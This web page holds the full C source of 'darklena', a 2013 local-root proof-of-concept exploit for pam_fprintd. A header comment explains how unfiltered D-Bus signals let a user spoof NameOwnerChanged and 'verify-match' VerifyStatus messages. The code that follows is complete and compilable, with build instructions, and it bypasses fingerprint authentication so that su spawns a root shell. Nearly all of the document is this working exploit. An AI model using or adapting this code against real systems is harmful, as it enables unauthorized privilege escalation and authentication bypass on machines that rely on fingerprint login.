扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
/* darklena. fprintd/pam_fprintd local root PoC. However dbus-glib plays an important role. * * (C) 2013 Sebastian Krahmer, all rights reversed. * * pam_fprintd uses net.reactivated.Fprint service to trigger finger swiping and * registers DBUS signal inside the PAM authentication function: * * dbus_g_proxy_add_signal(dev, "VerifyStatus", G_TYPE_STRING, G_TYPE_BOOLEAN, NULL); * dbus_g_proxy_add_signal(dev, "VerifyFingerSelected", G_TYPE_STRING, NULL); * dbus_g_proxy_connect_signal(dev, "VerifyStatus", G_CALLBACK(verify_result), * data, NULL); * * Then, when the DBUS signal arrives, the signal argument is basically just checked * to be the "verify-match" string; which however is expected to come from the legit * net.reactivated.Fprint service. Since there is no message filter registered in either * pam_fprintd, nor inside dbus-glib which it is using, such signals can be spoofed * by anyone. In order to do so, we first need to spoof a NameOwnerChanged signal * so the dbus_g_proxy_manager_filter() function inside dbus-glib will find our * sender-name (which cannot be spoofed) inside its hash tables and match it to * net.reactivated.Fprint. * * To test this PoC, start a service (su is fine) as user that is using pam_fprintd. * On a second xterm, when you see 'Swipe your ... finger' message start this PoC * and you will notice that a rootshell is spawned in the first xterm w/o giving your finger. :p * * Used various DBUS tutorials and example code, while writing this. * * $ cc darklena.c <code>pkg-config --cflags dbus-1</code> -ldbus-1 -Wall * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <dbus/dbus.h> void die(const char *s) { perror(s); exit(errno); } int main(int argc, char **argv) { DBusError err; DBusConnection *conn = NULL; DBusMessage *vrfy_msg = NULL, *noc_msg = NULL, *nl_msg = NULL, *reply = NULL; dbus_uint32_t serial = 0; dbus_bool_t t = 1; int un = 0, i = 0, reply_to = -1; const char *vrfy_match = "verify-match", *cname = NULL, *name = "net.reactivated.Fprint", *prev_owner = NULL; char dest[32]; /* override unique name of net.reactivated.Fprint */ if (argc > 1) prev_owner = strdup(argv[1]); printf("\n[**] darklena, pam_fprintd PoC exploit 2013\n\n"); printf("[*] Initializing DBUS ...\n"); dbus_error_init(&err); conn = dbus_bus_get(DBUS_BUS_SYSTEM, &err); if (dbus_error_is_set(&err)) { fprintf(stderr, "Error: %s\n", err.message); die("dbus_error_is_set"); } if ((cname = dbus_bus_get_unique_name(conn)) == NULL) die("dbus_bus_get_unique_name"); un = atoi(strchr(cname, '.') + 1); printf("[+] Done. Found my unique name: %s (%d)\n", cname, un); if (!prev_owner) { printf("[*] Trying to find unique name of '%s' ...\n", name); nl_msg = dbus_message_new_method_call("org.freedesktop.DBus", "/org/freedesktop/DBus", "org.freedesktop.DBus", "GetNameOwner"); if (!dbus_message_append_args(nl_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args"); reply = dbus_connection_send_with_reply_and_block(conn, nl_msg, reply_to, &err); dbus_message_unref(nl_msg); if (dbus_error_is_set(&err)) { fprintf (stderr, "[-] Error: %s\n", err.message); die("[-] dbus_connection_send_with_reply_and_block"); } if (!dbus_message_get_args(reply, &err, DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_INVALID)) { fprintf(stderr, "[-] Error: %s\n", err.message); die("[-] dbus_message_get_args"); } dbus_message_unref(reply); } printf("[+] Found unique name of '%s' as '%s'\n", name, prev_owner); for (i = 1; i < 20; ++i) { /* spoof a NameOwnerChanged signal */ noc_msg = dbus_message_new_signal("/org/freedesktop/DBus", "org.freedesktop.DBus", "NameOwnerChanged"); /* spoof a VerifyStatus */ vrfy_msg = dbus_message_new_signal("/net/reactivated/Fprint/Device/0", "net.reactivated.Fprint.Device", "VerifyStatus"); if (!vrfy_msg || !noc_msg) die("[-] dbus_message_new_signal"); if (!dbus_message_append_args(noc_msg, DBUS_TYPE_STRING, &name, DBUS_TYPE_STRING, &prev_owner, DBUS_TYPE_STRING, &cname, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args1"); if (!dbus_message_append_args(vrfy_msg, DBUS_TYPE_STRING, &vrfy_match, DBUS_TYPE_BOOLEAN, &t, DBUS_TYPE_INVALID)) die("[-] dbus_message_append_args2"); /* iterate over unique names short below under our own * to hit the previously started su */ snprintf(dest, sizeof(dest), ":1.%d", un - i); printf("[*] Using new destination: %s\n", dest); if (!dbus_message_set_destination(vrfy_msg, dest)) die("[-] dbus_message_set_destination"); if (!dbus_message_set_destination(noc_msg, dest)) die("[-] dbus_message_set_destination"); if (!dbus_connection_send(conn, noc_msg, &serial)) die("[-] dbus_connection_send"); dbus_connection_flush(conn); usleep(1000); if (!dbus_connection_send(conn, vrfy_msg, &serial)) die("[-] dbus_connection_send"); dbus_connection_flush(conn); dbus_message_unref(vrfy_msg); dbus_message_unref(noc_msg); } printf("\n[**] Here comes the pain! (but no one's to too innocent to die)\n"); return 0; } |
体验盒子
